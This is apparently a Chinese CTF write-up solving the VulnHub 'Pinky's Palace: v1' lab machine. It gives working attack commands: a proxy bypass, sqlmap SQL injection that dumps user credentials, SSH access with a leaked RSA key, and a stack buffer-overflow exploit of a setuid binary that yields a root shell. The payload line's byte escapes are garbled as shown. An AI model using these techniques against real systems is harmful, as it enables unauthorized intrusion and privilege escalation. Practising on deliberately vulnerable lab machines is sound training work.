VulnHub-Pinky's Palace: v1

admin 2023年6月16日09:01:00评论14 views字数 2873阅读9分34秒阅读模式

大余安全  

一个每日分享渗透小技巧的公众号VulnHub-Pinky's Palace: v1



大家好,这里是 大余安全 的第 30 篇文章,本公众号会每日分享攻防渗透技术给大家。


VulnHub-Pinky's Palace: v1



靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v1,225/

靶机难度:中级(CTF)

靶机发布日期:2018年3月6日

靶机描述:Box信息:使用仅DHCP主机和桥接适配器类型在VirtualBox上进行了测试。

难以获得用户:简单/中级

扎根困难:容易/中级

目标:得到root权限&找到flag.txt


请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。





一、信息收集


VulnHub-Pinky's Palace: v1

我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:

VulnHub-Pinky's Palace: v1

我们已经找到了此次CTF目标计算机IP地址:192.168.56.127

VulnHub-Pinky's Palace: v1

nmap扫除开放了8080、31337和64666端口...

VulnHub-Pinky's Palace: v1

访问8080,返回403错误...遇到这种情况通常有两种解释:要么是WAF(Web应用程序防火墙)阻止了,要么是服务器配置完全拒绝了访问...

如果是WAF阻止了,对于现在的环境有些不可能...所以应该是服务器拒绝了访问...

因此估计要绕过http代理才能访问Web服务器...使用31337代理...

VulnHub-Pinky's Palace: v1

curl --proxy http://192.168.56.127:31337 127.0.0.1:8080

这里使用127.0.0.1是因为,通过代理传递http请求时,127.0.0.1指向代理服务器的本地主机(192.168.56.127),而不是我们的计算机...上面验证了可以使用代理去访问...

VulnHub-Pinky's Palace: v1

这边修改浏览器代理为31337....

VulnHub-Pinky's Palace: v1

然后用本地IP去访问8080端口...但是出现的页面没有有效的信息....

这边使用dirb或者gobuster都可以爆破目录...

VulnHub-Pinky's Palace: v1


gobuster -p http://192.168.56.127:31337 -u http://127.0.0.1:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

发现/littlesecrets-main目录...

VulnHub-Pinky's Palace: v1

VulnHub-Pinky's Palace: v1

尝试admin默认账号密码登录跳转到这个界面...用户密码错误...

当访问logs.php时...

VulnHub-Pinky's Palace: v1

存在sql注入,直接用sqlmap扫...

VulnHub-Pinky's Palace: v1


sqlmap --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=3 --proxy http://192.168.56.127:31337 --data="user=admin&pass=admin" --dump

发现用户代理确实可被利用,我再次配置了sqlmap,这次在db中生成表列表...

VulnHub-Pinky's Palace: v1


sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.56.127:31337 --data="user=user&pass=pass&submit=Login" --level=5 --risk=3 --dbms=mysql --tables

VulnHub-Pinky's Palace: v1

sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy=http://192.168.56.127:31337 --data="user=user&pass=pass&submit=Login" --level=5 --risk=3 --dbms=mysql --dump userspinkymanage:d60dffed7cc0d87e1f4a11aa06ca73af

VulnHub-Pinky's Palace: v1

pinkymanage 、3pinkysaf33pinkysaf3

登录...

VulnHub-Pinky's Palace: v1

不允许sudo...

VulnHub-Pinky's Palace: v1

现在有了用户列表信息....注意用户pinky...

VulnHub-Pinky's Palace: v1

查看了下目录...确定了用户pinky的存在...

VulnHub-Pinky's Palace: v1

用户的主目录没有啥内容,限制了很多目录查看...我进入了web目录看...发现了note.txt文件,意思是藏了一个rsa密匙在这儿...进去看看...

VulnHub-Pinky's Palace: v1

发现密匙后,前面介绍是rsa密匙,这边将内容放到本地上试试能登录吗...

VulnHub-Pinky's Palace: v1

不能登录,把解码后的base64在放入文本试试...

VulnHub-Pinky's Palace: v1




二、提权



成功登录....

VulnHub-Pinky's Palace: v1

因为没有密码,无法使用sudo提权...这边查看到adminhelper二进制文件具有root权限...查看下

VulnHub-Pinky's Palace: v1

同时具有setuid和root权限...(ELF)这边尝试下是否可以插入shell...

VulnHub-Pinky's Palace: v1

开始执行它没反应...后来只回复了我一个输入值...怀疑具有缓冲区溢出...我试试python输入看看...

VulnHub-Pinky's Palace: v1

./adminhelper $(python -c "print 'A'*100")

提示分段故障了...证实了存在缓冲区溢出问题...这边需要找出堆栈溢出值...

VulnHub-Pinky's Palace: v1

触发段错误找到了段错误的边界为72....

VulnHub-Pinky's Palace: v1

启动gdb来检查程序...发现spawn函数(这边可以利用spanwn函数进行提权)

VulnHub-Pinky's Palace: v1

我运行了spawn函数...现在我要触发堆栈溢出以重定向程序执行,来覆盖EIP中的返回地址...

VulnHub-Pinky's Palace: v1

gdb --args ./adminhelper $(python -c "print 'A'*72+'B'*6")

这边发现了42,它是“ B”的十六进制值....现在需要重定向执行得想计算出内存地址...

VulnHub-Pinky's Palace: v1

看到目标内存地址是0x00005555555547d0,创建外壳需要注入了5555555547d0,以避免在shellcode中有空字节....在shellcode中,字节顺序相反,因为该体系结构为低端字节序...所以:(xd0x47x55x55x55x55)

很好理解...

VulnHub-Pinky's Palace: v1

./adminhelper $(python -c "print 'A'*72+'xd0x47x55x55x55x55'")

这边利用缓冲区溢出的栈溢出执行了外壳成功...

VulnHub-Pinky's Palace: v1


VulnHub-Pinky's Palace: v1



成功利用shell获取了root权限...由于此靶机都安装了python等工具能直接利用在内部对二进制漏洞制作shell,才顺利的拿到了root和查看到了flag....

加油!!!!


由于我们已经成功得到root权限&找到flag.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。


如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。


如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

VulnHub-Pinky's Palace: v1
VulnHub-Pinky's Palace: v1


VulnHub-Pinky's Palace: v1


欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

VulnHub-Pinky's Palace: v1

大余安全

一个全栈渗透小技巧的公众号

VulnHub-Pinky's Palace: v1

原文始发于微信公众号(大余安全):VulnHub-Pinky's Palace: v1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月16日09:01:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VulnHub-Pinky's Palace: v1https://cn-sec.com/archives/892838.html

发表评论

匿名网友 填写信息